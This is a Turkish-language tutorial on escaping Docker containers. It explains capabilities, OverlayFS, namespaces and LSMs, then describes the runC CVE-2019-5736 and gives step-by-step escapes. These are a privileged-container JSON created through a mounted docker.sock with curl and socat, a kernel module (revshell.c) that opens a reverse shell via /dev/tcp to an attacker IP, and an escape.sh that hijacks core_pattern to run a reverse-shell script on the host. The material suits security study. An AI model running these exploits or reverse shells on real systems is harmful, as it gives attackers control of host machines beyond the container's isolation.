Docker Escape

1. Docker Escape

1.1 Basics

1.1.1 Capabilities

Nedir?

Bir kullanıcının veya sürecin sahip olduğu özel izinlerdir. Bu izinler, tipik kullanıcı izinlerinin ötesinde, özel işlemler için ayrıcalıklar sağlar.

Örnek

Birkaç tane örnek yetenek ve açıklamasını alt tarafta bulabilirsiniz:

  • CAP_CHOWN: Dosya sahipliğini değiştirme yeteneği.

  • CAP_NET_BIND_SERVICE: 1024'den düşük portlara bağlama yeteneği.

  • CAP_SYS_CHROOT: Chroot sistem çağrısını kullanma yeteneği.

Keşif

Tamam ben yetenekleri anladım, bunları nasıl bulurum?

Bunun için capsh kullanabiliriz. capsh, linux yeteneklerini incelemek ve yönetmek için kullanılan bir araçtır.

Eğer capsh zafiyet aldığımız makinede yüklü ise direkt capsh --print yazarak bütün sahip olduğu yetenekleri keşfedebiliriz.

Eğer yüklü değil ise cat /proc/$PID/status dizini altında bütün işlemler hakkında bilgiler yer almakta bu kısımdan yetenekler hakkında bilgi alabiliriz.

Üstteki resimde bir işlemin yeteneklerini görebilirsiniz. Bunu okunabilir bir halde görmek için yine capsh kullanıyoruz. capsh --decode=blob yazarsak ve yukarıda mesela CapEff kısmındaki yeri blob kısmına yazarsak bize yine üstteki gibi bir çıktı verecektir.

Buradaki CapEff CapInh kısımlarına biraz açıklama getirelim.

  • CapInh (Inherited Capabilities):Ebeveyn süreçten geçen yetenekleri belirler.

  • CapPrm (Permitted Capabilities): Bir sürecin sahip olabileceği maksimum yetenek kümesini tanımlar. En fazla bu kadar yeteneğe sahip olabilirsin gibi.

  • CapEff (Effective Capabilities): Bir sürecin her an kullandığı gerçek yetenekleri temsil eder.

  • CapBnd (Bounding Capabilities): Bir sürecin sahip olabileceği en üst düzey kapasiteleri sınırlayan değerleri temsil eder.

  • CapAmb (Ambient Capabilities): Bu, genellikle işlem tarafından kullanılabilecek olan, ancak şu anda doğrudan kullanılmayan yetenekler kümesidir.

Dikkat Etmemiz Gereken Örnek Yetenekler

  • SYS_MODULE: Yeteneği, kernel modüllerini yükleyip kaldırma yetkisini içerir.

  • SYS_PTRACE: Yeteneği, ptrace() adlı sistem çağrısını kullanma izni sağlar. Bu sistem çağrısı, bir işlemin yürütülmesini izlemesine ve kontrol etmesine olanak tanır.

  • SYS_ADMIN: Yeteneği, bir Linux işletim sisteminde kernel düzeyinde çok çeşitli ayrıcalıkları içeren bir yetenektir.

Tabiki bu kadar az değil bir çok yetenek var dikkat edilmesi gereken. Burada birkaç tane örnek vermek istedim.

1.1.2 OverlayFS (Overlay File System)

Nedir?

Linux tabanlı bir dosya sistemi teknolojisidir. İki veya daha fazla dosya sisteminin birleştirilmesine izin verir.

UpperDir ve LowerDir adı verilen iki ana dizinden oluşur. UpperDir, birleştirilen dosya sisteminde yapılan değişiklikleri içerirken, LowerDir temel dosya sistemini temsil eder. OverlayFS, bu dizinleri birleştirerek birleşik bir dosya sistemini oluşturur ve üst dizinde yapılan değişiklikleri alt dizine uygular.

Bu kısımda asıl öğretmek istediğim Docker'ı çalıştıran Host'un bir path yardımı ile konteyner'daki dosyalara erişebilmesidir.

Uygulama

Alt tarafta yavuzlar adında bir konteyner açıyorum ve bir dosyaya yazı yazıyorum.

Burada docker inspect yavuzlar kullanarak UpperDir i alıyorum. Ardından cat ile o oluşturduğum dosyayı okumaya çalıyorum ve komut çalışıyor. Burada host makinede olduğumuza dikkat edelim.

Burada docker inspect yavuzlar yazarak UpperDir pathini almayı başardık. Peki bunu docker escape yaparken nasıl elde edeceğiz. Bunun için alttaki komutu kullanacağız.

overlay=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` 

1.1.3 Namespaces

Nedir?

Bir işletim sistemi çekirdeği özelliğidir ve bir sistemdeki çeşitli sistem kaynaklarını izole etmek için kullanılır. Alt tarafa namespace'ler var.

  • PID

  • User

  • Mount

  • Net

  • UTS

  • IPC

  • CGroup

1.1.4 CGroups

Nedir?

Linux işletim sisteminde kaynak yönetimi ve sınırlama sağlayan bir mekanizmadır. CGroups, sistem üzerinde çalışan işlemlere kaynak tahsisi yapmak, kaynakları izlemek ve sınırlamak için kullanılır. Bu sayede sistem yöneticileri, işlem gruplarına öncelik ve sınırlar belirleyerek sistem kaynaklarını etkin bir şekilde kullanabilirler.

Kullanıldığı Yerler

  • Kaynak Sınırlama (Resource Limitation)

  • Öncelik Belirleme (Prioritization)

  • İzleme ve İstatistikler (Monitoring and Statistics)

  • Önceden Tanımlanmış Profiller (Pre-defined Profiles)

1.1.5 – Linux Security Modules (LSM)

Nedir?

Linux çekirdeğine eklenen güvenlik altyapısını ifade eder. Bu modüller, çekirdek seviyesinde güvenlik politikalarını uygulayarak sistem güvenliğini artırmaya yardımcı olur.İki yaygın LSM örneği şunlardır: AppArmor ve SELinux.

AppArmor

Hem uygulama hem de işletim sistemi düzeyinde güvenlik politikalarını uygular. Profil kullanarak bu işlemleri gerçekleştirir. Documentation

SELinux

Kullanıcıların, süreçlerin ve nesnelerin arasındaki erişimi daha ayrıntılı bir şekilde kontrol eder.

Not

Docker, enforcement modunda varsayılan bir Linux Security Module (LSM) profili etkinleştirir, bu da çoğunlukla bir konteynerın hassas /proc ve /sys girişlerine erişimini kısıtlamaya hizmet eder.

Bu profil aynı zamanda mount çağrısını da engeller.

1.2 Docker Escape

Nedir?

Docker konteynerların kısıtlı izolasyon ortamından kaçarak (escape ederek) host sistemine erişim sağlamaya çalışan bir güvenlik açığı veya saldırı türünü ifade eder.

Docker İçinde Olup Olmadığımızı Nasıl Anlarız?

  • cat /proc/1/cgroup yazdığımızda içerisinde docker görürsek büyük ihtimalle docker içerisindeyizdir.

  • Docker'a özgü işlemlere bakılabilir.

Bundan sonra artık örnekler üzerinde anlatacağım.

1.3 Engine Vulnerabilities

RunC

Ilerideki öğrenmek için bilmemiz gereken bir kaç terimi alt tarafta açıklayacağım.

RunC Nedir?

Konteynerleri çalıştırmaya yönelik görevleri ele almak üzere kullanılır - bir konteyner oluşturma, mevcut bir konteynere bir işlem bağlama (docker exec) ve benzeri işlemler.

/proc Nedir?

Linux işletim sistemlerinde kullanılan bir sanal dosya sistemidir. Bu sanal dosyalar, sistemde çalışan işlemlerin bilgilerinden, donanım kaynaklarının durumundan, ağ istatistiklerinden ve diğer çeşitli sistem bilgilerinden sorumlu olan çekirdek modülü tarafından düzenli olarak güncellenir.

/proc/self Nedir?

Çalışan process’in dizinine işaret eden sembolik bir bağlantıdır.

/proc/self/exe Nedir?

Process’in çalıştırdığı yürütülebilir dosyaya işaret eden sembolik bir bağlantıdır.

/proc/self/fd Nedir?

Process tarafından açılan dosya tanımlayıcılarını (file descriptors) içeren bir dizindir.

  • file descriptors: Bir sürecin açık dosyalar veya giriş/çıkış kaynaklarına olan erişimini belirtir. Dosya açma, okuma veya yazma gibi işlemler yapılabilir.

CVE 2019-5736

Şimdi zafiyetin mantığına geçebiliriz

Exploit kodu çalıştığında, ilk olarak /bin/bash binary'sini #!/proc/self/exe ile değiştirir. Bu, eğer docker exec id bash komutu yazılırsa, runC konteynerine giriş yapacak ve bash'ı çalıştıracaktır. Ancak bash binary'si, #!/proc/self/exe olarak değiştirildiği için bu çalışan işlemin yürütülebilir dosyasını gösterdiğinden dolayı, exploit kodu gidip hostta runC'yi başlatacaktır.

Tam bu anda kodun devamında runC işleminin PID sini ve File Descriptor'u yakalayacaktır. Bu fd'ı da overwrite fonksiyonuna yolluyor. Bu fonksiyon ise runC binarysini değiştirip içine reverse shell ekleyecektir.

Bunları yaptıktan sonra konteyner içinde nc -lvnp 4444 gibi dinlemeye alırsak host tekrardan docker exec id herhangi-komut çalıştırdığında konteyner'a host shell'i gelmiş olacaktır.

1.4 Weak Deployment

Bu başlık altında kullanıcı tarafından oluşan zafiyetlere örnek vereceğiz.

Mounted Docker Socket

Docker Socket: Docker konteyner’larda kullanıcı modu ve kernel modu arasında iletişimi sağlar.

Zafiyetli Makina: docker run -it -v /var/run/docker.sock:/var/run/docker.sock exposedsocket

Buradaki sıkıntı host'un docker.sock dosyası konteyner içine eklenmiş yani konteyner içindekiler bu docker.sock u kullanarak docker ile etkileşime geçebilir.

Exploit

Bu sıkıntıyı exploit etmek için curl ve socat tool'larını kullanacağız. Ilk olarak ls /var/run/ yazarak gerçekten docker.sock dosyası var mı yok mu bakalım.

Şimdi bu exploitte amacımız kendi konteyner'ımızdan çıkıp kendimiz için yüksek yetkide başka konteyner açmak ve oraya geçmektir. Ilk olarak zafiyetli konteyner oluşturmak için bir json yazalım. Bu json ile yeni konteyner'ı oluşturacağız.

Bu alttaki makine --privileged ile başlatılmış ve görüldüğü üzere host'un dosyaları konteyner içine eklenmiş. Aslında direkt bu makineye geçtiğimizde host dosyalarına erişebildiğimiz için direkt escape işlemini tamamlamış oluyoruz.

{
  "Image": "ubuntu",
  "Cmd": ["/bin/sh", "-c", "apt update && apt install -y python3 && /bin/sh"],
  "DetachKeys": "Ctrl-p,Ctrl-q",
  "OpenStdin": true,
  "HostConfig": {
    "Privileged": true,
    "PidMode": "host",
    "Mounts": [
      {
        "Type": "bind",
        "Source": "/",
        "Target": "/host"
      }
    ]
  }
}

curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json: Komutu ile hostta çalışan bütün konteyner'ları listeleyebiliyoruz. Burada --unix-socket 'e kullanmasını istediğimiz socket'i veriyoruz.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create: Komutu ile üstte yazdığımız json'u kullanarak zafiyetli konteyner'ı oluşturuyoruz. Alttaki gibi bir çıktı alacaksınız. Burada ilk Id kısmı işimize yaracaktır.

Response {"Id":"f9ca25e4e3e4d749029a0cb96e44166378dda1ddc4f890f22bb6c371800e523f","Warnings":null}

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<CID>/start: Komutu ile CID kısmına yukarıdaki Id nin ilk 4 karakterini yazarak oluşturduğumuz konteyner'ı çalıştırıyoruz.

Bütün bunları yaptıktan sonra zafiyetli çalışan bir konteyner'ımız var. Şimdi yapmamız gereken buna bağlanmak. Bunun için socat kullanacağız.

socat - UNIX-CONNECT:/var/run/docker.sock: Yazarak docker.sock a bağlanıyoruz. Bu bağlantının içinde alttaki http requestini yazarak kendimize TCP bağlantısı alıyoruz.

POST /containers/<CID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Shell geldiğinde cd /host/home gidersek host'un dosyalarını bulabilirsiniz.

Excessive Capabilities

Bu örnekte bir konteyner'a aşırı yetenek eklendiğinde çıkan sorunlardan birini işleyeceğiz. Burada fazladan SYS_MODULE yeteneği eklenmiş ve bunun ne işe yaradığını üst tarafta anlattık.

Zafiyetli Makina: docker run -it –rm –cap-add SYS_MODULE sysmodule

Buradaki sıkıntı yine dediğim gibi SYS_MODULE yeteneğinin konteyner'a eklenmiş olmasıdır.

Requirements

  • build-essential

  • linux-headers-$(uname -r)

  • net-tools

  • netcat

  • nano (optional)

  • kmod

Exploit

Bu exploit'i yaparken bize iki adet dosya lazım. Biri revshell.c diğeri de Makefile

Altta revshell.c nin içeriğini görebilirsiniz

#include<linux/init.h>
#include<linux/module.h>
#include<linux/kmod.h>

MODULE_LICENSE("GPL");

static int start_shell(void){
char *argv[] ={"/bin/bash","-c","bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1", NULL};
static char *env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
}

static int init_mod(void){
return start_shell();
}

static void exit_mod(void){
return;
}
module_init(init_mod);
module_exit(exit_mod);

Bu da bizim makefile dosyamız olacaktır.

obj-m +=revshell.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Zafiyetli makineye girdiğimiz de ilk olarak kendi ip'mizi ifconfig ile alıp revshell.c nin içerisine atmaktır. Arından zafiyetli makinede başka bir shell alıp orada nc -lvnp 4444 ile dinlemeye başlamaktır.

Bundan sonra gidip ilk olarak make atacağız ki modülümüz derlensin. Arından insmod revshell.ko yazarak modülümüzü yüklüyoruz. Bunların hepsini doğru yapılırsa dinleme yaptığımız yere shell gelmiş olacaktır.

1.5 Kernel Exploitation

Core Pattern

core_pattern: Linux işletim sistemi çekirdeğinde çökmelerde oluşan çekirdek döküm dosyalarının adını ve konumunu belirleyen bir sistem ayarıdır.

Bu zafiyet core_pattern dosyası sayeside vardır. Bu zafiyet için ya makinede privilege escalation yapmamız gerekiyor. Ya da düzgün apparmor'un kapalı olması gerekiyor

Requirements

  • net-tools

  • nano (optional)

  • netcat

  • kmod

  • gcc

Exploit

Zafiyetli Makina: docker run -it --rm --cap-add=SYS_ADMIN --secuity-opt apparmor:unconfined corepattern bash

Burada ilk olarak crash.c diye bir c kodumuz olucak. Bu kodun tek amacı bize Segmantation Fault vermesi olucak. Bu kod sayesinde bizim core_pattern tetiklenecek.

Birde shell.sh kodumuz olucak bu bildiğimiz basit bir reverse shell kodu. Alttaki gibidir.

#!/bin/bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/IP/4444 0>&1"

Son olarak escape.sh kodumuz olucak bu kod sayesinde kaçma işlemini yapacağız.

#!/bin/bash

overlay=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir /newproc
mount -t proc proc /newproc

cd /newproc/sys/kernel
echo "|$overlay/need/shell.sh" > core_pattern
sleep 6
/crash

Şimdi kodu anlatalım. Yukarıda anlattığımız overlay pathini ilk satırda alıyoruz. Bu path yardımı ile host'un bizim shell.sh dosyamızı çalıştırmasını sağlayacağız.

Host'un proc'larını mount etmek için yeni klasör oluşturuyoruz ve oraya mount ediyoruz. Bu şekilde hostun proc dosyalarını konteyner içinde görebilir, değiştirebiliriz.

Bu dosyaların içinden /sys/kernel da bizim core_pattern dosyamız bulunmakta bu dosyanın içine echo "|$overlay/shell.sh" > core_pattern ile shell.sh dosyasının path'ini belirtiyoruz. Arından 6 saniye bekleyip /crash dosyasını çalıştırıyoruz.

/crash dosyası Segmantation Fault hatası verince core_pattern dosyası okunuyor, okunurken bizim path'imi ve başıdaki | ı görüp o dosyayı çalıştırıyor. Bu da bize host'a bağlantı veriyor.

Tabiki escape.sh'ı çalıştırmadan önce nc -lvnp 4444 ile dinlemeye almalıyız.

Kaynakça

Docker & Docker Escape için Kaynakça
Bu yazı Çetin Boran Mesüm tarafından hazırlanmıştır.

Last updated